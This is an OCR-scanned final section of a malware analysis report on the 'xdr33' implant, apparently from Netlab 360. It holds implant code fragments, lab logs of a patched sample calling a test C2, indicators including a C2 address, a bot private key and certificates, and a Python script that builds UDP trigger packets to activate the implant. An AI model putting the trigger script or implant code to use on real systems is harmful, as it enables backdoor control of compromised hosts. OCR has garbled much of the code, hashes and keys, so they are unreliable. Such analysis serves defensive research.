if ( crypt_handshake(cp) != SUCCESS )

{
DLX(2, printf("ERROR: TLS connection with TLS server failed to initialize. ));

crypt_ cleanup(cp),
return FAILURE; //LKD] JULD THESE E

¥
DLX(3, printf("TLS handshake complete.\n"));

if [(aes_init(cp) == 0) {
DLX(4, printf("aes_init() failed\n"));
goto 5

}

while(!fQuit)
{

COMMAND cmd;

experiment

In order to verify the correctness of the reverse analysis of the Trigger part, we patched the SHA1 value
of xdr33, filled in the SHA1 of NetlabPatched, Enjoy!, and implemented the GenTrigger code in the
appendix to generate UDP type Trigger messages.

. et\a

T||
FF Fﬁ&@g ) FFFFFFFFFFFFFFFFF
FF FF FF-FF FF FF FF-FF FF FF FF
l-F FF FF-FF FF FF FF-FF FF FF FF-FF FF FF FF
FF FF FF FF-FF FF FF FF-FF FF FF FF-FF FF FF FF

We run the patched xdr33 sample on the virtual machine 192.168.159.133 , construct a Trigger
Payload whose C2 is 192.168.159.128:6666 , and send it to 192.168.159.133 in UDP. The final effect is
as follows. It can be seen that after receiving the UDP Trigger message, the implanted host where xdr33
is located initiates a communication request to the preset Trigger C2 as we expected. Cool!
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root@turing-dev: /home/turing/samp# md5sum xdr33
af5d2dfcafbb236661296007T982ecb87 xdr33
root@turing-dev: /home/turing/samp# netstat -tpn

Active Internet connections (w/o servers) i}
Proto Recv-() Send-() Local Address nyﬁiﬁ} ress State PID/Program name

tep 0] 0 192.168.159.133:44774 192.168.159.128:6666 ESTABLISHED 32444/. /xdr33
root@turing-dev: fhome/turing/samp# I

/home/kali
6666 kavxdr33.
cJ|IFJel_

8M
,0%5(k
9tsws+/H1'g 3| rvE=52*.85{yu</1)-%zAxtH

P0000RED ) 1
00000010 4: 7c 46 1: 7 84
00000020 38 87
00000030
00000040
00000050

contact us

So far the analysis of xdr33 has come to an end, this is what we know about this magically modified
attack kit. If the community has more clues and interested readers, please contact us on twitter or email
netlab[at]360.cn.

I0C

sample
ee07a74d12c0bb3594965b51d0e45b6 £t
patched sample

af5d2dfcatfbb23666129600£982ecb87

C2

45.9.150.144:443

BOT Private Key

MITEOowIBAAKCAQEA6XthgPjU3XFu8/4PMVQ4igJbleXmXhbVWMPhY/sTndEcO5vQ
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mIMNJcImISZTNPzddXSrj0h9GJe0ix0CIZID3bHyZHLigb/ewylFmgSOVkviG/Je
017UAghsNGpVu/18FM3qCHIE7 z+wBqHAwVIZMt 9vLaLti2KyJV+3j1F1GTk8X2jcI
4DnNnVKJE81rSafzaX2JBc6J6hovEFMMPIIGhb2LwROMZNtZgSus 6JMolhkO0dtvxXK
yTmlk79HL3P1ZdgKt 6HIJFoukwkWND8NNTbcBXDWWDAJ42g/1TI0Z7tMkdKFgfjUut
90LXKRRUENcUrbi75L6P2FRWPNgvVv+3N25MZQIDAQABACIBADtguGS57kc8bWQdO
N1jgPVLshXQyuoplLh7b+gcuREffdVmnf745ne9eNDn8AC86m6uSV0siOUY21qgCG
aRNWigsohSeMnB51gGaLgXrxnI1PORogYncT18ExSgtuedlInoe/8mPhg6yAuuik
49uVYHkyn5iwlc7b88hTcVvBuO6S7HPqgXbDEBSoKL0060/FyPobORKigprKooTo/
KVCREDT 6xpAGMnjZ2kSSBIB2cgRxQwkcyghMcLJBvsZXbYNihiXiiiwalvk4ZeBtf
0hnb6Cty840juAIGKDiUEL1ijd3JtVKaBy41KLrdsnC+8JU3RIVGPtPDbwGanvnCk
Tto7gqUCgYEA+MucFy8fcFJtUnOmZ1Uk3AitLuatIrIEp26IHgGaMKFAOhNGEGvVD
ZmwkrFj57bGSwsWg7ZSBk8yHRP3HSJIJLZZQIcnnTCOxHMXa+YvpuEKESmQSMwnlu
YHO9S2S0xQP1i1yLOKjAVVt+zRuudJvMv0dOZAOfdib+3xesPv2fIBuOMcCgYEA8D4 /
zygeF5k40mh01235e081kgLtgqVLu23vJ0TVnP2LNh4rRu6viBuRW/709tsFLng8L8
aIohdVdF/E2FnNBhnvoohs8+IeFX1D8ml4LC+QD6AcvcMGYYwLIzewODJ2d0ZbBI
hQthoAw9urezc2CLy0da7H9dmeg26utwzIB4ZXMCgYEAYV9b/ rPoeWxuCd+Ln3Wd
+06Y515jVQ£fL101zZP4dBCFwgt2rn5z9H0CGymzWFhglVCrT96pM2wkfr 6 rNBHQC
TLvNvoJ2WotykEmxPcG/Fny4du7k03+f5EEKGLhod1MYJ9P5+W1T/SOUefRO1VF1
FzZPVHLfhcUbi5rU3d7CUv8CgYBG82tu578zYvnbLhwd2K7UfwRusRWVazvFsGJ]j
Gel7J9fhTtswHMwtEUS1JvTzHRjorf5TdW/6MgMlplNtg5FBHUo4vh3wbZeq3Zet
KV4hoesz+pv140EuL7LKgrgKPCCBI 7XXLOxQ8yyL51L1IT9H8rPkopb/EDif2paf
7TIbSBWKBgCY8+a044uuR2dOm0SIUgqnbOMigLRs1gqcWIfDEHFI9K116sGwSK4SD9vD
POoCAS3ffcrTi+syPiUuBJFZG7VGEWiNJ6GWs48sP5dgyBQavVgShQofKgQAZAQOf+
TTxBhBF4n2gc5AhJ3fQA0XZg5rgNghAIn04UAT1gQKO69fAvEZID

MITFJTCCBA2gAwWIBAgIBAZANBgkghkiGI9wOBAQsFADCBz JELMAKGA1UEBhMCWkEx
FTATBgNVBAgMDFd1c3R1cm4gQ2FwZTESMBAGALIUEBWWJIQ2FwZSBUb3duMROwWGwWYD
VQOKDBRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGALUECwWwEQ2VydGlmaWNhdG1lv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GAIUEAWWYVGhhd3R1IFByZW1lpdWOgU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQKkBFhlwemVtaXVtLXNlcnZlckB0aGF3dGUuY29t
MB4XDTIyMTAWNZESNTAWN1oXDTIzMDMXNJESNTAWN] owgYEXCZzAJBgNVBAYTAL1JV
MROwWGWYDVQQKDBRLYXNwZXJza3kgTGFib3JhdG9yeTEUMBIGALIUEAWWLRWSnaWs 1
ZXJIpbmcxDjAMBgNVBAMMBXhkcjMzMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBACM
Bklvc2NvdzELMAKGALIUECWWCSVOwggEiMAOGCSgGSIb3DQEBAQUAAAIBDWAWGGEK
AoIBAQDpe2Go+NTdcW7z/g8xVDiKoluV5eZeFtVYw+F]+x0Od0Rw7/m9CYgw01lzWYh
J1IMO/N11dKuPSHOY17SLHQIhkgPdsfJkcuKpv97DKUWapISWS+Ib81635XtQCqGwO
alW7+XwUzeoIckTvP7AGod3BUhky328tou2LlYrI1X6PUXUZOTxfaNwjgOedUokTz
WtJIp/NpfYkFzongGi8Uww/0gZvYVBFAXk21mpK6zokyiWGQ7R22 /FcrJObWTvOcv
c+V12Ag30ckWi6TCRYOPWOINtwFcNZYNOnjaD/UjRnuO0yROOWB+NS633QtcpFG4Q
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1xStulLvkvo/YVHA+eq9W/7c3bkx1AgMBAAG) ggFXMI IBUZAMBgNVHRMBA f 8EATAA
MBOGA1UdDgQWBBRCOLAOWWA4C6azovupk]X8R3V+NpjCB+wYDVROJBIHzZMIHWGBRT z
BcGhW/F2gdgt /v0oYQtatP2x5aGB1KSBOTCBzjELMAKGAIUEBhMCWkEXFTATBgNV
BAgMDFd1c3R1cm4gQ2FwZTESMBAGA1UEBWwWJIQ2FwZSBUb3duMROwWGwWYDVQQKDBRU
aGF3dGUgQ29uc3VsdGluZyBjYzEoOMCYGAIUECwWwEQ2VydGlmaWNhdGlvbiBTZXJ2
aWNlcyBEaXZpc2lvbjEhMB8GA1UEAWWYVGhhd3R1IFByZW1pdW0OgU2VydmVyIENB
MSgwdgYJKoZIhvcNAQkBFhlwemVtaXVtLXN1cnZlckB0aGEF3dGUuY29tggEAMA4LG
A1UJDWEB/wQEAwIF4DAWBGNVHSUBAf8EDDAKBggrBgEFBQCDAjANBgkghkiGIw0ORB
AQsFAAOCAQEAGUPMGTtzrQetSs+wl2qgyHETYp8EKKk+yh4AJSCS5A4UCKbJLrsUy
gendOE3plARHozy4rulI0XBh5z3MgMnsXcxkC3YJkjX2b2EuYgyhvvIFm326s48P
06MUSYs5CFxhhp/NOcamgGgzL5V5evI7P8NpPcFhs7ul ryGDcKIMTtSSPNPy3F+c
d707iRXiRcLOMXQTcimOVKrohA/kqqtdM5EUL75n90LTinZcb/CQO9At+5Sn91AI3
ngd22cyLLC304F14L+hgqwMdOENSjanX381iZ2EY8hMpmNYwPOVSQZ1FpXgrkWlArI
1HEtKB3YMeSXQHAsVBQODOA1IW7R7JgHdreg==

MITIFXTCCBEWgAwIBAgIBADANBgkghkiG9wOBAQsFADCBz JELMAKGA1UEBhMCWkEx
FTATBgNVBAgMDFd1c3R1cm4gQ2FwZTESMBAGALUEBWWJIQ2FwZSBUb3duMROwWGwWYD
VQOKDBRUaGF3dGUgQ29uc3VsdGluZzyBjYzEoOMCYGAIUECwWwEQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GAIUEAWWYVGhhd3R1IFByZW1lpdWOgU2Vy
dmVyIENBMSgwJgYJKoZIhvcNAQKkBFhlwemVtaXVtLXNlcnZlckB0aGEF3dGUuY29t
MB4XDTIyMTAWNZEOMTEZOFoXDTQ3MTAWMTEOMTEzOFowgc4xCzAJBgNVBAYTA1pB
MRUWEWYDVQQIDAXXZXNOZXJuIENhcGUXEjAQBgNVBACMCUNhcGUgVG93bjEdAMBsG
A1UECgwUVGhhd3R1IENvbnN1bHRpbmcgY2MxKDAMBgNVBAsSMHON]1cnRpZml jYXRp
b24gU02VydmljZXMgRG12aXNpb24xITAfBgNVBAMMGFROYXd0ZSBQcmVtaXVEtIFNL
cnZ1lciBDQTEoMCYGCSgGSIb3DQEJARYZcHI1bW11bS12z2XJ2Z2XJAdGhhd3R1LmNv
bTCCASIWDQYJKoZIhvcNAQEBBQADGGEPADCCAQOCGgEBAMEHJII14/Xdo896R1yqr
3VcKnLAAqIJkpgl90Z6bxUDpwad4lH3ZDa7As47209xa+1XGn9XB9u34TqJPkyhSKg
3wYKO2KTCwVMI/gf506KpFvocTHpScnXs0xUoxsM8gE1DV2pTed47rmyalLyWceT5d
hbzkP10WuDMEWMhfC2R9z4+mlsbwMAy9IPN/JYzxz7cR48gj4)9hhEwkJ1+yJKXBV
AVICdgLYfJIXrA7A4HxgcOECKImpovskv/D1xM8RxOsHfVtyG4ZggmRraxUelirlf
tLj0fIkLaP7xvolQSgiqQffbBOiDg9PN3H2wezFOmeDg9RIR6gvhzhyNpZjANiiC
JzMCAWEAAaOCAUIwggE+MA8GA1UJEWEB/wQFMAMBA f8wHQYDVROOBBYEFPMEFwaFb
8XaB2C3+/ShhC1q0/bHIMIH7BgNVHSMEgfMwgfCAFPMFwaFb8XaB2C3+/ShhC1g0
/bH1o0YHUPpIHRMIHOMQOswCQYDVQQGEWJaQTEVMBMGA1UECAWMV2VzdGVybiBDYXB1
MRIWEAYDVQQHDAIDYXB1IFRvd24xHTALBgNVBAOMEFFROYXd0ZSBDb25zdWx0aWbn
IGNjMSgwJgYDVQQLDBODZXJ0aWZpY2F0aWOuIFNlcnZpY2VzIERpdml zaW9uMSEw
HwYDVQQODDBhUaGF3dGUgUHJ1bW11bSBTZXJ2ZXIgQO0ExXxKDAMBgkaghkiGOwOBCQEW
GXByZW1pdW0tc2VydmVyQHRoYXd0ZS59b22CAQAWDGYDVROPAQH/BAQDAGGGMAQG
CSgGSIb3DQEBCWUAA4IBAQDBONAIWFp15AM81 7o0Dgga/YHvoGmfcs48Ak8YtrDEF
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tLRyzl+hr/hhfR8Hm1hZ00j1vAzayhCGKAQTk42mg90dG4tViNYMgdmFKmOoVnw6
u4C8BCPfxmuyNFAwITVgTjdwiWqWM84VMg3Cg3ZrEa94DMOAXM3QXcDsar7SQn5Xw
LCsU7xKJIcb6gwk4eNWEGxFIJwSOEwPhBkt11H40D11JHOUkr5rRIvh1b1Ui0OHPA3//
kzeXNozA9PwoH4wewgk8bXZhj5ZA9LR7rm+50rCoWXofgnlGi2yd+LWWCrE7NBWm
yRel1xO0SPRSQ1 fvAVVURrCnCJIgKxG/2Ba2DLs95u6IxYX

appendix
0x1 Decode RES

import idautils

import ida bytes

def decode (addr, len) :
tmp=bytearray ()

buf=ida bytes.get bytes (addr, len)
for i in buf:

tmp.append (~1&0xff)

print ("%x, %s" % (addr,bytes (tmp)))
ida bytes.put bytes (addr,bytes (tmp))
idc.create strlit (addr,addr+len)

calllist=idautils.CodeRefsTo (0x0804F1D8,1)
for addr in calllist:
prevlHead=idc.prev head (addr)
if 'push offset' in idc.generate disasm line (prevlHead,1l) and
idc.get operand type (prevlHead,(0)==5:
bufaddr=idc.get operand value (prevlHead, 0)
prev2Head=idc.prev_head (prevlHead)

if 'push' in idc.generate disasm line (prev2Head,1l) and
idc.get operand type (prevZHead, 0)==5:

leng=idc.get operand value (prevZ2Head, 0)
decode (bufaddr, leng)

0x02 GenTrigger
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import random

import socket

def crclé6(data: bytearray, offset, length):
if data is None or offset < 0 or offset > len(data) - 1 and offset +
length > len (data) :
return 0
crc = OXFFFF
for i in range (0, length):
crc "= datal[offset + 1] << 8
for j in range (0, 8):
if (crc & 0x8000) > O:

crc = (crc << 1) ~ 0x1021
else:
crc = crc << 1

return crc & OXFFFF

def Gen payload(ip:str,port:int):
out=bytearray ()
partl=random.randbytes (92)
sum=crclo6 (partl, 8, 84)

offsetl=sum % 0xc8

offset2=sum % 0x37
paddingl=random.randbytes (offsetl)
padding2=random.randbytes (8)

host=socket.inet aton (ip)

C2=bytearray (b'\x01")

C2+=host

C2+=int.to bytes (port, 2,byteorder="big")
key=b'NetlabPatched, Enjoy!"'

C2 = C2+key +b'\x00\x00"'

c2sum=crcl6 (C2,0,29)

C2=C2[:-2]
C2+=(int.to bytes (c2sum, 2,byteorder="big"))

flag=0x7£*10

out+=partl

out+=paddingl
out+=(int.to bytes (sum, 2,byteorder="big"))
out+=(int.to bytes(flag,2,byteorder="big"))
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out+=padding?

tmp=bytearray ()
for i in range(29):

tmp.append (C2[1i] ~ out[offset2+8+i])
out+=tmp

leng=472-1en (out)
lengpadding=random.randbytes (random.randint (0, leng+1))
out+=lengpadding

return out

payload=Gen payload('192.168.159.128"',6666)
sock=socket.socket (socket .AF INET, socket.SOCK DGRAM)
sock.sendto (payload, ("192.168.159.133",2345)) # {FZiwO

26/26



